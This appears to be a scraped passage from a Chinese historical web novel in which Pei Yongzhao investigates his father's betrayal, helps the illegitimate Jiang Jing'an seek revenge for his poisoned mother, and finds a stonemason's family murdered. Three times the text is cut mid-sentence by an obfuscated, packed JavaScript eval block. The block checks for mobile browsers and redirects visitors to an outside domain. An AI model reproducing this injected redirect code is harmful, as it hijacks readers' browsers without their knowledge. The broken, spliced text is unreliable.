“为什么?” “这个需要去问那个害你的人。” 还没出正月,这天还是冷的时候,只是在院外站了一会儿,裴永昭便感觉手脚冻得有些僵硬,任蒋敬安在院外出神,他先回了屋。 屋内魏叔不知从何处找来的炭盆,正围在炭盆旁烤火,看到裴永昭进来,从怀里掏出样东西往他那随手扔去。 幸亏裴永昭反应快,及时接住,“叔,这是什么?” “打开看看。” 魏叔从炭盆旁边的桌子上掏了把花生,放在炭盆旁,慢慢的熥着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621386|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “舅兄亲启: 某奉旨押送饷银三百万两至辽北大营,自京城起行,已历十日。原定于三日后抵幽岚关,然行至伏虎山南麓时,忽有蒙面人夜探饷银车,虽被亲卫格杀,然其所用兵器,形制竟与辽北蛮族惯用之物无二。某所部虽有千余精兵,然饷银车驾沉重,且据探报,前方幽岚关地形险要,若遭伏击,道路必断。辽北蛮子在我大齐境内畅行无阻,沿途布防竟如此松懈,某更疑朝中有人通敌。 某深知兄麾下迁州军日行三百里,若此刻自迁州起兵,可于后日未时前抵幽岚关西侧山谷。某已暗令亲卫分两路:一路携密信疾驰回京禀明圣上,一路随某佯装不知,按原道缓行,以诱敌现身。 迟则生变!望兄念及辽北边关十万将士,速发援兵,截击伏敌,护我饷银周全!某当于幽岚关北峰以烽火为号,见烟则战,不胜不休! 临书仓促,言不尽意,望兄速发铁骑,星夜驰援! 裴禛远 书 “这是……我父王给庆北侯的求救信?”看着泛黄的纸张上遒劲有力的字,裴永昭沉默半晌,声音喑哑而凝重地开口。 “当日你父王押送饷银被劫,并没有任何援军相助。”魏叔翻了翻炭盆沿上摆着的花生,抬头望向站着的裴永昭。 “若真如信上所说,当时父王察觉不对后,分别给舅舅与京中去信,请求援兵。就算当时舅舅援兵未到,若那封送往京中的信成功送达,父王当时的处境也会好上许多。不至于落得个畏罪惨死的下场。”所以说,送往京中的那封信,压根儿没有顺利送到皇上手中。 “这封信是从你舅舅的书房内找到的,在墙壁的暗格中放着。”魏叔偷听到庆北侯吩咐手下偷偷处理掉魏敬安这个庶子,恰好看到他将什么重要的东西放进暗格。便一并将其截了胡。 背靠着门框,裴永昭抱臂看向已经完全被团团乌云压住的夜空,思索片刻,缓缓开口道:“叔的意思是当时蒋彦铮接到了父王的信,却选择了视而不见。” 魏叔点头,用火钳翻动着炭盆里的炭火,“蒋彦铮当时与你父王并未反目,他之所以不肯出兵,必是受人指点。而指点他的人,便是布局之人。我们现在要查清,那人到底是谁,他为何要这样做。只有抓住那幕后之人,才能为你父王平反,你的处境也才能彻底安全。” “会不会是长公主?”裴永昭脑海中想到的第一人,便是庆阳长公主。 魏叔将手中的火钳放下,面色认真地回道:“如今还不能确定”。 虽然长公主在冷泉山的所作所为,很难不让人怀疑。可如今疑雾重重,一切还都不能太早下结论。 “你父王骁勇善战,我大齐武将凋零,他正值壮年,战功赫赫,极受当今圣上看重。许多人对你父王拉拢,均未成功。你父王是位真正忠君爱国的直臣,他效忠的只有当今圣上。”那幕后之人设局害这样一位忠臣良将,一是嫉妒舒郡王受圣上看重,前途无量,还有一个可能,那人想动摇大齐的根基。 那想要找出那幕后设局之人,便先要将庆北侯府查探清楚。按常理说,庆北侯府与舒郡王府是结实的姻亲关系,没有道理会为了外人来陷害他父王。 “对了,外面那个小子你准备怎么办?” “他?”目光移转,望向院门外蒋敬安瘦削的背影,裴永昭右手的拇指有节律地敲击着食指,他眼睫微垂,眸色渐暗,缓缓开口道:“自然是帮他一把。” 20. 恩人 “还望世子……再帮我一把。”蒋敬安尽力将身子躬的更低些。 闻言,蹲在炭盆旁的裴永昭抬头暼向在房门前站着的蒋敬安,“如今你已无性命之忧,还想让我怎么帮你?”说罢,他接过魏叔递过来的烤花生,轻轻剥开,里面的花生仁饱满,扔进嘴里,一股花生烤熟后特有的香味在口齿间弥散开来。 蒋敬安住了声,只是眼神闪烁地多看了一旁坐着的魏叔几眼。 顺着他的眼神看过去,裴永昭心中一片了然:“今夜若不是魏叔,单单我自己,是救不了你的。” 魏叔见谈论对象是自己,只是稍微挪了下有些僵住的脚,重新抓了把生花生放在炭盆旁边继续烤着,并没有要开口介入这场谈话的意思。 见裴永昭也只是继续悠闲地剥着花生,并没有要答应他的意思,蒋敬安额头上渐渐冒出一层细密的汗珠。“我……想认祖归宗,回到蒋家,如今只有世子可以帮我。”他始终躬身站着,他如今没有可以交换的资本,浑身上下只有这诚意还能打动人。 搓了搓手上的花生碎屑,裴永昭站起身,漫声道:“说实话吧,你回蒋府想要做什么?” 见裴永昭根本不信他早已准备好的那套说辞,蒋敬安顿了顿,他抬眸,目光沉静一字一顿地缓缓道:“为母报仇。” “先前你说你母亲是突发急症去世。” 指了指一旁的椅子,裴永昭示意其坐下说,他自己也坐下,端起茶盏。 “是急症,但是是中毒后毒发引起急症而亡。”蒋敬安没有坐,他还是拘谨地站在门口处,双拳紧攥,脸上一派凄然。 既然是中毒,必然有人下毒,看蒋敬安的神情,他好似已经知道了下毒之人是谁。 “是陆燕回” “陆氏?”虽然裴永昭有些惊讶,但仔细思量后,不再言语。 “父亲去年未入京,只是托人送来了些东西,其中就有几大盒配好的补药,来人说是给母亲补身子用的。”蒋敬安的母亲孙氏不疑有他,只当是蒋彦铮挂念他们母子俩,还安抚了沮丧的蒋敬安许久。 蒋彦铮在来信中说,待孙氏将身子养好,来年开春后便将他们母子接到迁州相聚,一家人再也不用相隔两地。 一家人团聚,是孙氏长久以来的愿望,尽管她已经猜到,自己可能是被偷偷养在外面的外室,但是既然蒋彦铮敢给她承诺,要接她入府,想必是已经平扫了所有的障碍。 那补药是大半年的量,当时恰逢孙氏伤寒未愈,身子还有些亏损,便日日吃了起来。 那药吃了两月有余,孙氏的身子确实强健了许多,脸色也渐渐红润。原本蒋敬安因为父亲食言,未进京与他们母子相见,心中还颇有怨言。见母亲身子日日变好,心中的怨怼也就散了。 孙氏感觉身子日日见好了,便私自停了药,可是停药半月后,她突然开始咳血,陆陆续续不到十日时间,便药石无医,病故了。 突遭此变,本来在书院念书的蒋敬安也被迫辍学回家。他怎么也想不明白,母亲的身子明明看着无碍,为何会突发如此要命的急症。 偶然一次,收拾母亲遗物时,看到还剩半盒未煎完的药材,他也忘了当时如何想的,鬼使神差之下捧着药材来到药铺。 药铺的伙计将所有的药材一一查看了,都是上等的补身子的药,寻常人家不易得的。 蒋敬安捧着药盒回到家,他愣怔了许久,始终想不明白,到底是什么关节出了错。 “那最后你为何笃定你母亲是中毒而亡?”裴永昭放下手中的茶盏,望向蒋敬安。 蒋敬安不知想到了什么,脸上多了几分激动,接着道:“还不是他们太过心急,我母亲刚刚过世,他们便想斩草除根,在我们住的小院放了把火,我险些被烧死。” 顿了顿,蒋敬安眼中的仇恨之色稍退,“好在母亲保佑我,让我得恩人相救,恩人还提点我补药中有几味药材相克,若是单独服用都是大补功效,但若是合在一起,便是毒人的毒药。” “恩人?”眉头轻挑,裴永昭感觉这位恩人出现的时机未免太过巧合,“敢问这位恩人是何人,你可知他身份?” 蒋敬安摇了摇头,“当时两位恩人带着幕篱,姓甚名谁我没敢多问,我只知她们是两位年轻姑娘。她们其中一位武功了得,将我从火海里救出来,另一位姑娘听我说了几味那补药中的药材名,便分析出了其中的不对之处。” 越听,裴永昭眉头皱的越深,一个猜测在心中成型,“可是一名个子高些,穿着青色衫裙,另一名个子矮些,穿着鹅黄色衫裙?” “不是。” 看见蒋敬安摇了摇头,裴永昭不知为何悄悄松了口气。 待努力回想了下,蒋敬安复又开口道:“矮些的穿的淡紫色衫裙。” 听到他如此说,虽然没有完全的把握,但裴永昭基本上可以确定那两人应该是沈云漪主仆。 她们主仆两人能够及时出现救下蒋敬安,还故意透漏孙氏的死可能跟那补药有关,必定是又揣着什么算计。 难不成这古代人就是成熟的早,沈云漪看起来就是十三四岁是模样,怎么能够筹谋如此多,裴永昭实在想不明白。他只记得自己十三四岁的时候只想着怎么能吃饱,从来没有多余的心眼子想其他的。 可是……裴永昭想到一种可能,若是他都能穿越,那……沈云漪会不会已经重生了?! 如此想来,很多东西便能说得通了。为何她小小年纪便表现的如此成熟老练,若不是看她的脸还是小姑娘,多番与她接触下来,裴永昭感觉她完全是个满心城府的成年人。 压下心中的猜测,裴永昭继续将注意力收回到眼前。“是她们让你来迁州的?” “没有。”蒋敬安摇摇头,“她们给了我一些盘缠,让我小心过活,不要在追查下去,不然恐怕性命不保,她们是好人。”他虽然接过了盘缠,却没有按照那两位恩人的善意提醒隐姓埋名躲起来,他选择拿着那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621387|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘缠出了京,他想来迁州问问,问问他爹为何让他娘吃那些有毒的药。 “她们会如此好心?” “世子认识两位恩人?”听见裴永昭小声嘀咕,蒋敬安有些惊讶。 眼中闪过一丝不自然,裴永昭下意识地提高些音量反驳道:“不认识,只是奇怪无缘无故的,她们出手救你也就罢了,还给你银钱劝你躲避起来,她们好似知道什么一样。” 疑惑的摇摇头,蒋敬安当时已经无暇思量那么多。 “你又为何会笃定是陆氏所为?” “刚开始我也不确定,其实我还曾经怀疑过父亲……”蒋敬安低下头,顿了顿道:“直到我打听出早在大半年之前,父亲曾经与陆氏闹过一次不小的矛盾,而且陆氏当时也命人采购了许多名贵药材。” 若是知道一直与自己举案齐眉的丈夫其实早在外面养了外室,还生了庶子,陆氏就算再贤惠,恐怕也会愤怒。这是人之常情,换作是谁也会动怒。 再将一切与孙氏的死联系起来,陆氏的嫌疑便呼之欲出。 裴永昭眼神复杂的开口:“我若是帮你,我可以得到什么?” 没有无本的买卖,裴永昭也不是冤大头。蒋敬安是聪明人,心下也放松下来。裴永昭有所求,说明他愿意帮他,只要他蒋敬安能够拿出足够与之交换的条件。 “世子想要什么,只要我力所能及的,若是我力所不能及的,便用我这条命来偿还。”蒋敬安看向裴永昭的眼神坚定,不似作伪。 裴永昭拇指与食指轻轻揉捻着,思索片刻后,他缓缓开口道:“你这条性命,我要来无用。若是有朝一日,庆北侯府尽在你掌握中时,你需无条件地站在我身后。” 显然没想到裴永昭对自己有如此大的信心,蒋敬安闻言,微微一怔,随即点了点头。 “你先在此处待上两日,几日之后我会安排你入侯府。” “多谢世子” —— “你为何会觉得他往后可以在庆北侯府立足?”魏叔有些疑惑的开口问向正在与其在月光下并肩踱步的裴永昭。 “我也不知道。”裴永昭抬头望向夜空,那乌云渐渐散开,一束月光偷偷洒下。“帮他入府,可以搅乱庆北侯府的一池春水,我们可趁机查出我们想要的真相。若是他真的能够抓住时机,在庆北侯府立足,往后我们便多了个助力。”庆北侯与京中其他没有实权的侯爵不同,他不仅可以统辖西北边境的四座州城,还可自行招募士兵,拥有调遣四州军队的权利。对当地的赋税,县郡官员的任免,都有绝对的统辖权。 其实还有一个重要原因,裴永昭没有说。若是沈云漪真的是重生之人,她又费尽心力救了蒋敬安,只能说明蒋敬安在未来绝对是有过人之处的。既然如此,这个好人不能只让那丫头一人当了。 至于蒋敬安,已经暂时被安置在那所小院,安全问题上可以暂时放心,接下来要操心的便是怎么可以让他顺理成章的进入庆北侯府。 21. 观音像(上) 翌日清晨,裴永昭睁开眼,外面的天已经是蒙蒙亮。 守夜的小厮早就端着水在门外候着多时。 洗了把脸,裴永昭先来到松柏居给外祖母苏氏请安。 见裴永昭来了,苏氏忙招呼他坐下,随即命人摆上早饭。 苏氏始终脸上笑呵呵的,不住的命旁边伺候的丫鬟给裴永昭布菜。“咱们迁州的饭食跟京城有些不同,昭儿尝尝这粳米粥可还合口?”桌上摆着两炖盅的粳米粥,一盅是桂圆莲子甜口的,一盅是鸡丝粳米粥咸口的。裴永昭碗中的则是桂圆莲子的。 他舀了一勺送进口中,微微颔首,面带赞许道:“香甜可口。”几样精致的应季小菜也都做的味道极好,裴永昭忍不住各尝了一筷,佐粥刚刚好。 “合口就好,我记得你母亲信中提及过,你喜欢甜食,就是不知道长大了口味可曾变了,合口就好。” 一顿早饭用完,也算是其乐融融。 刚撤下,便有丫鬟在外面通报,是舅母陆氏与表嫂杨氏来了。 杨氏是蒋敬文的妻子,昨日她忙着照顾生病的女儿,家宴她并未出席。今日也算是与裴永昭第一次见面。 苏氏笑着指着杨氏介绍道:“这是你敬文嫂子。” 裴永昭躬身问好,“嫂子。” 杨氏脸圆圆的,五官清秀,可能是刚刚出了月子的缘故,身子还有些丰腴。她微笑着颔首,“昨日便听闻永昭表弟来了,孩子哭闹,也未得见,今日一见,果然是仪表堂堂。” 杨氏未曾进过京,此次也是第一次见到裴永昭。只是瞧了一眼,她便脸颊微微泛红,早就听闻姑母绝色,表弟又随了其容貌的七八分,再加上他个子高挑,身形修挺,就算放眼整个迁州城也寻不出第二位如此芝兰玉树的少年。 真是可惜了,若是这样的容貌再加上郡王世子的身份加持,不知道会惹得多少京城闺秀春心暗动。如今裴永昭家产尽数充公,爵位又被夺了,恐怕以后娶妻便难了许多。只是打了个照面,杨氏便在心中思量了许多。 一旁坐着的陆氏想起今日来的主要目的,放下茶盏带点讨好地笑着道:“母亲,再过七日便是您的寿诞,侯爷说今年要大办,去去晦气,虽说半月前就已经开始筹备了,但是昨夜侯爷吩咐了,您看还有什么需要吩咐的,尽管派人和儿媳说,儿媳再派人添置。” 阖上茶盏,老夫人淡淡地看了眼还欲开口的陆氏道:“哪里有什么晦气需要除,而且我老婆子年纪大了喜静,不用大办,一家人一块儿坐下吃吃饭即可。” 听老夫人话中提点的意思,陆氏才惊觉自己失言,看看老夫人,又望向对面正在端坐着的裴永昭,好像并没有听出什么来,她才舒了口气。 好在她是长辈,裴永昭现在也不过是个闲散宗室的身份,倒也不用过分惊惧。她思及此,微笑颔首,并没有再开口。 屋内静下来,无人说话,老夫人似突然想起什么,抬眼看向陆氏:“一大早便听洒扫的婆子丫鬟说昨夜前院走水,可查清楚了?” 丫鬟递茶,裴永昭接过,见苏氏开始盘问起昨夜前院柴房走水之事,便静静竖起耳朵听着。 蒋府虽然大,苏氏常年不出院门,但前院走水这种事,怎么可能瞒得过。 只是所有人都没想到,她会当着裴永昭的面过问此事。 陆氏闻声,脸色变了几遍,但很快调整好,回道:“回母亲,昨夜之事系守夜的小厮不小心将灯笼碰倒,致使前院柴房走水,好在发现及时,只是烧毁了几跺柴火。” “只要人没事便好,只是烧毁了几跺柴火是小事。”苏氏声音幽幽的,让人听不出深浅。 陆氏心虚,赶忙站起身,“昨日还有个当街闹事的小子被侯爷关在了里面,等到小厮扑灭火后,那小子也不见了踪影,儿媳猜测会不会是那小子蓄意纵火。” 瞥了陆氏一眼,苏氏垂目掀起手中的茶盖,啜饮着杯中茶水,久久没有说话。 “你先回去吧。” 陆氏闻言暗自舒了口气,与杨氏赶紧退了出去。 杨氏扶着婆母,两人出了松柏居,在花园里慢慢走着。“母亲,尽管表弟是亲戚,但毕竟是外人,祖母为何要在外人面前过问这些事,她是不是已经知道些什么了?” “知道了又有什么用,我是绝不会让那贱人生的孩子进府的,除非我死。”陆氏狠狠的攥起手中的帕子,恨不能将其揉碎以泄心中愤恨。 陆氏平时看起来温婉,可提起蒋敬安母子,眼中突然迸发的恨意,让一旁的杨氏也吓了一跳,她鲜少见婆母如此激动。 “父亲并未将其放在心上,不然怎么会将人随意往柴房一扔便算完,都没有过问一句,也未曾在祖母跟前提起过。想必是不放在眼里,任婆母处置的。”杨氏只得顺着陆氏的心意说,果然她说完,看到陆氏脸上的怒气稍减了些。 杨氏扶着她到花园中的凉亭里坐下,将一众仆从遣的远远的。陆氏才开口道:“哼,他敢认试试!我们陆家也不是好相与的。当年我与他刚一成亲,他便披甲出征。好几次都传信说回不来了,可我呢?我尽心竭力照顾婆母,照料整个侯府等他回来。整整五年,我独守侯府五年!”陆氏越说越气,往日的种种她恨不能全扒出来数算一遍。 一旁站着安慰的杨氏眉头蹙起,她嫁过来三年,听婆母讲述当初独守侯府等待公爹回来的事没有十遍也已有八遍。就是她一个旁观者,听了几遍心中都不免起了厌烦,这二十几年间,公爹还不知已经听过多少遍,怪不得公爹会受不了在府外偷养外室。 昨夜前院走水之事,杨氏知道应该没有她婆母说得那样简单,但是她也不会去戳破,毕竟这个家里若是多上些庶子庶女,危及的是她夫君的庆北侯世子之位。 “你与尽管敬文放心,我便是拼着这条性命,也不会让那个野种进府,与你们争抢爵位。”陆氏拉过儿媳的手,拍了拍,安抚道。 “儿媳自然知道母亲向着我们。” 凉亭外的假山后,裴永昭悄悄动了动,保持一个姿势太长时间,容易僵住。刚刚见陆氏离开,他也寻了个由头离开了松柏居。虽然偷听墙角不太道德,但裴永昭安慰自己,成大事者不拘小节。 看来外面关于庆北侯与夫人琴瑟和鸣,相敬如宾的传闻里,还掺杂着许多的水分。不过是世家大族粉饰太平的手段,来赢得一些好名声罢了。 既然如此,难道蒋敬安的猜测是真的,他娘孙氏之死,当真是蒋氏的手笔? 还真是越来越乱了,裴永昭见陆氏婆媳两人终于离开,才从假山后面出来。 想起刚刚外祖母若有似无地打探那日街市上起冲突之事,他心中便有了思量。 —— 这几日天气渐渐暖了,道路上已经看不见积雪的踪影,枝梢头上也星星点点着冒出了些绿意。 庆北侯府外,几名脚夫正蹲坐在角门旁的大柳树下歇息,过几日是侯府老夫人的寿诞,侯府里上上下下要重新布置,还要搭戏台子请戏班子来唱戏热闹,便遣他们运了几块假山石入府,还有一些搭建戏台的大件物什。 “哎,你们听说了吗?庆北侯府还真有个庶子流落在外。”一名粗壮汉子捞起肩膀上搭的汗巾抹了把脸,他那憨厚的五官与此时脸上八卦的神情实在有些不符。 另一名看起来瘦弱些的老汉从怀中掏出一张干硬的粗面饼子往嘴里塞了一口,边嚼着边冲刚刚引起话头的男子竖眉道喝道:“牛二,你活腻歪了是吧,竟然敢背后议论侯府的事。” “这有什么,你们还没听说呢,早就传开了,说是年纪还不小了,从京中来的。”另外一人拔开水囊塞子,猛灌了几口浑不在意地道。 “可之前不是听说庆北侯与夫人几十年如一日,府中从来没有过妾氏庶子吗?怎么突然冒出这么大个庶子?”旁人听见他们闲扯,也都凑过来听个热闹。 “嗐,我要是侯爷,我也娶上一后院,男人吗,就他妈没有不偷腥的。咱们守着家里的丑婆娘,不还是因为没本事吗?”另一人沉不住气,也胡侃起来。 好事不出门,坏事千里行。这才短短几日的功夫,庆北侯庶子的事便成了迁州城中百姓茶余饭后的谈资。 午间,蒋彦铮用过午饭,并没有回陆氏院子歇午觉,而是派人唤了裴永昭去他书房。 蒋彦铮的书房设在第二进院子里,裴永昭到时,蒋敬安正耷拉着脑袋在里面受训。 外面的小厮噤若寒蝉,看见裴永昭来了,俱都悄悄松了口气。 刚刚侯爷怒气滔天的模样,他们还以为世子会逃不脱一顿打,如今表公子来了,侯爷应该会顾忌世子的面子,手下留情。 “侯爷,表公子来了。” 门口小厮通传之后,裴永昭才进了书房。 看见进来的裴永昭,蒋彦铮的脸色才好看一些。“你回去好好反思,若是再犯,你便脱了盔甲,在府里待着吧!” 庆北侯是武将,世子蒋敬文也是从小习武,从小跟随其出入军营。 听到自己父亲如此说,还真是比军棍打在他身上还要难受。而且此话还是当着裴永昭的面说出的,他更觉得颜面扫地。羞愤交加之下,他突然想起昨夜在歌坊听那些酒肉朋友胡侃,他爹是不是要把这庆北侯的爵位留给他那庶弟。 “父亲,您如今看儿子种种不顺眼,其实是盼着那野种回府,好替代儿子的世子之位吧。可是您别忘了,当年您出征在外,可是母亲一人苦苦支撑起整个侯府,照顾祖父祖母!”况且,前几日前院柴房大火,那野种也死不见人活不见尸,可能早就烧成一堆灰烬了也未可知。思及此,蒋敬文感觉胸膛中沸腾的怒意消下去几分。 “混账东西!”一个砚台四分五裂碎在蒋敬文脚旁,惊得他一个跳脚。 “舅舅息怒,表兄也是护母心切。”裴永昭悄悄挪了挪脚,他刚换的衣服,可不能沾上了。 “护母心切,你这逆子,我何曾薄待过你母亲,用你在此为她恃功矜能?”说着,蒋彦铮又从手旁摸了把茶盏朝蒋敬文扔去。 蒋敬文躲闪不及,被破了一身上好的普洱。 蒋彦铮看那逆子还梗着脖子一副愤愤不平的模样,拂袖指着门外喝道:“滚出去!” 待蒋敬文出去,小厮又重新端上茶水,蒋彦铮的脸色才恢复正常,他指了指一旁的椅子,示意裴永昭先坐。 “还有几日便是你外祖母的寿辰,我前些日子寻了块寿山石,专门请的雕刻名匠就地雕刻,制了一尊观音像。今日那工匠派人来说已经完工,可最近公务繁忙我脱不开身,本想让你表兄带人去将观音像运回来,谁知他昨日又捅了篓子。便想着你无事,可以替舅舅去走一遭。” 昨日蒋敬文心情不畅,便叫了几个酒肉朋友去歌坊喝花酒,没想到酒过三巡与人起了争执,不仅将对方打伤,还派人去对方家里打砸了一番,对方托人告到了蒋彦铮跟前。 堂堂侯爷教子不严,还被人拱到了眼前,再加上平日里蒋敬文荒唐无度早就在迁州城不算新鲜事,今日是新仇旧怨一起结算了一通。 本来他也不想用裴永昭,可心腹蒋铭自从上次出去执行任务便一直未曾回来,逆子刚刚惹了祸又不便抛头露面,只能先派裴永昭前去。 想到失踪的蒋铭,蒋彦铮看向裴永昭的眼神中多了几分深色。裴永昭他再了解不过,空有一副皮囊的草包一个,他是不会相信蒋铭已经栽到裴永昭手上的,只会以为是蒋铭办事不利,不敢回来复命。 “舅舅客气。”躬身应下这趟差事,裴永昭才看到蒋彦铮脸上重新挂上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看他颓丧的模样,魏叔又有些不忍,清了清喉咙道:“他们都是自小便受了常人难以忍受的苦,才取得今日成绩,你自小被你娘娇养着长大,没受过什么苦。能够进步如此之快,已经是天赋极佳了。”说着还安慰般地拍了拍裴永昭的肩膀。 听到魏叔安慰自己,裴永昭在心里苦笑,哪里是什么天赋使然,他那是比旁人多活了一世,再加上上一世十几年的底子,才刚刚能摸到人家的门槛。 “退一步说,你往后并不需要在武功上有多深的造诣,你的建树不在此。只要能关键时刻保住自己的性命即可。” 魏叔的话,让裴永昭突然明白,为何他这些日子教自己的武功都是轻功之类的,原来是为了关键时刻逃命用的。 “输赢不挣一时,往后也是,你须记住,只要能够先活下去,其他的可以都暂且放到一旁。你爹娘便是没有参透这个道理,中了旁人的奸计。”提到舒郡王夫妇,魏叔可能想到了什么,神色有些黯然。 “叔,您和我父王母妃是怎么认识的?”这个问题裴永昭早就想问了,却一直没有机会。 “自小便认识。”魏叔只说了这一句,便没有继续下去的意思。“待到合适时机,我会将一切都告诉你的。但现在不是时候。”魏叔话落,便推门离开。 对于魏叔能够在庆北侯府来去自如这件事,裴永昭已经见怪不怪。 因着寿宴将至,翌日清晨,裴永昭便启程前往固安县。 固安县距离迁州府城并不算远,若是快马三个时辰便能到。可到了县城之后,还需转道去小王庄。 县城去往小王庄的路途便要难走上许多,运送观音雕像的马车在村道上行驶缓慢,晃晃悠悠走了三个半时辰才到。 待到抵达小王庄村头时,天已经大黑。 先前接到信的村长早就侯在村口,见到裴永昭一行人,忙上前恭迎。“大人们可是庆北侯府派来的?” “正是”裴永昭一抱拳,算是回了礼。 “诸位大人,天色已晚,还是先到寒舍用些晚饭,明日一早再启程回返吧。”村长是个五十多岁的老者,面色和善,他招呼众人先去用饭,裴永昭也无异议,只是他提出自己带着几人先去工匠那里看看雕像。 毕竟此行前来的目的是运送雕像,得先确保出不了差错。 “好,老伴,你先招呼其余几位大人回去用饭,我带着这几位大人去张石匠那里去一趟!”村长冲着身后的老妇人摆了摆手,吩咐完毕,才领着裴永昭与两名小厮往村内走去。 “张石匠家住在村子西北边,靠近蒴溪,地方比较偏僻。”一边走,村长还不时回头冲裴永昭介绍。或许是看裴永昭年轻,又是来人中能做主的,将他认作了世子蒋敬文,分外恭敬。 点点头,裴永昭没有开口解释。 张石匠家的院子不小,房院建在了一条溪流上游的空地上。前后也没什么邻居,他自己独门独院。 此时院门紧锁,院子里面也未点灯。村长上前敲了敲门,喃喃道:“不应该啊,傍晚的时候我还来过,知道大人们要过来,张石匠不可能临时不声不响地外出。” 一阵风拂过,裴永昭嗅出空气中一股子铁锈味,他皱眉上前,推了推紧闭的院门。 “你们两个过来,把院门踹开。” “大……大人,这样不好吧”村长有心阻拦,又畏惧裴永昭等人身份。 “无妨,若是无事,他这院门价值几何,我赔给他便是。”说罢,裴永昭扭头看了眼那两个小厮,小厮你看看我,我看看你,见裴永昭是认真的,只能遵从命令上前踹门。 两人轻松便将院门踹开,踹开后,那股子浓重的血腥味完全跑了出来。 “这……这是怎么回事!”待村长看清楚眼前的惨像,不禁吓得连连后退,被身后的裴永昭扶了一下,才堪堪站住。 22. 观音像(中) 院子里横七竖八躺着几具尸体,据村长上前辨认后,确定正是张石匠一家。 “哎,造孽啊!”村长转过身去,捂着脸叹息道。 裴永昭回头看了眼与他一同前来的两名仆从,他们脸上也都是惊疑不定的模样,好像事先并不知道此事的模样。 蹲下仔细查看了一番尸体,看上去应该是刚刚遇害不久。裴永昭站起身环顾了下这所院子。并没有看到那尊观音像的踪影,裴永昭站起身问道:“村长可知那观音像放在何处?” 可能没想到裴永昭看到这满院的尸体,还能淡定的问他观音雕像在何处,村长愣了下才反应过来回道:“呃……在西屋里,您请随我来。” 可能是为了随时存放雕像方便,张石匠家的房梁比村里其他人家要架的更高些,每间房屋的房门也要开的更大些。 推门进屋,村长指着西屋空地中间被用红色绸布蒙着,九尺高的雕像道:“大人,这便是侯爷要的那尊观音像。” 他说着,裴永昭上前将绸布揭下。 正准备继续介绍的村长哑然怔住。 这绸布后面哪里有什么观音雕像,分明是个空的木头架子。 村长看裴永昭疑惑的目光向他投来,顿时慌了。“小……小人也不知啊。”真是活见鬼了,今日傍晚他来张石匠家时,明明来西屋看了。九尺高的观音像就立在这里,怎么如今说不见就不见了呢! “今日天色已晚,又遭逢此变,大人不若去寒舍休息一晚,明日天亮再说?”从西屋出来,村长看向裴永昭试探着说道。 “也好”思索片刻,裴永昭认可的点了点头。 “公子,那这些……”随裴永昭来的两人指着院子里的一地血腥,问询道。 皱眉重新环视四周,裴永昭不顾两人满脸的抗拒之色,安排道:“你们两人今夜暂时守在这里,一切等明日官府来人再说。” 原本的计划是连夜赶路押送雕像回县城,在县城歇脚一晚后,第二日一早启程回迁州城。可是如今人不明不白的死了,雕像也不翼而飞,只能暂时去村长家暂住一宿,一切等明日天亮再说。 村长家坐落在村子中央的位置,是青砖瓦房。 这村子不小,但田地不多,应该也不是什么富裕的村子,这一路走过来,村中其他人家鲜有盖砖瓦房的。 “老婆子,快把饭菜拿过来。” 村长热情的招呼裴永昭来到堂屋的炕上坐下,炕桌上已经摆上茶,虽然被称为茶叶,但也只能闻到寡淡的茶味,粗瓷茶杯上零星飘着几根茶叶棒。裴永昭接过村长递过来的茶,试探着问道:“观音像是刚刚完工?” 村长闻言,也盘腿坐在炕上,端起一杯热茶喝了口,长长的舒了口气才点点头道:“是啊大人,昨日刚完工,完工的时候我还在一旁看着。”张石匠的手艺真的没得说,别说是固安县,就是放眼整个迁州城,都找不出第二个像他手艺这般好的。那观音菩萨雕刻的,像是活过来一般。村长媳妇见了,当场便跪下磕了三个响头。 说着,村长媳妇带着儿媳将饭菜端了上来。 桌上有炖鸡,白面馍,还有几道清炒小菜,都是山里的野味。“乡野之地没什么好吃的,大人凑活吃点,凑活吃点……”村长招呼裴永昭动筷子。 庄户人家的鸡都是养来下蛋的,轻易哪舍得杀来吃,村长媳妇心疼的看着桌上的鸡,但是想起老伴的叮嘱,还是笑着拉着儿媳妇出了屋。 “娘,今日可是杀了两只鸡,两只鸡啊,咱们寻常过年都才杀一只。而且咱们也没捞着吃上一口。”儿媳王氏肉疼的不停往堂屋里瞅,被村长媳妇拉着去了灶房。 “你爹说了,舍不得兔子套不着狼,若是得了这州城来的大人们赏识,往后这鸡啊,你一天一只咱们都吃得起。” 村长媳妇说着,掀开锅盖,拿出一个碗,碗里面是大块的鸡肉,上面盖着两个白面馍。 “谢谢娘!”王氏欣喜的接过,结果婆母的下一句话,直接让她丧下了脸。 “这可不是给你吃的,是给俺儿吃的,他一直忙活到现在,怕是一口水也没来得及喝。快,给他送了去。” 可能是今日奔波劳累,裴永昭用完晚饭,便觉得困乏的很,对面的村长还在滔滔不绝的给他讲述雕刻那尊雕像的寿山石是如何从山上运下,以及张石匠雕刻的过程如何艰难,他已经听不进去。 “其他人呢?” 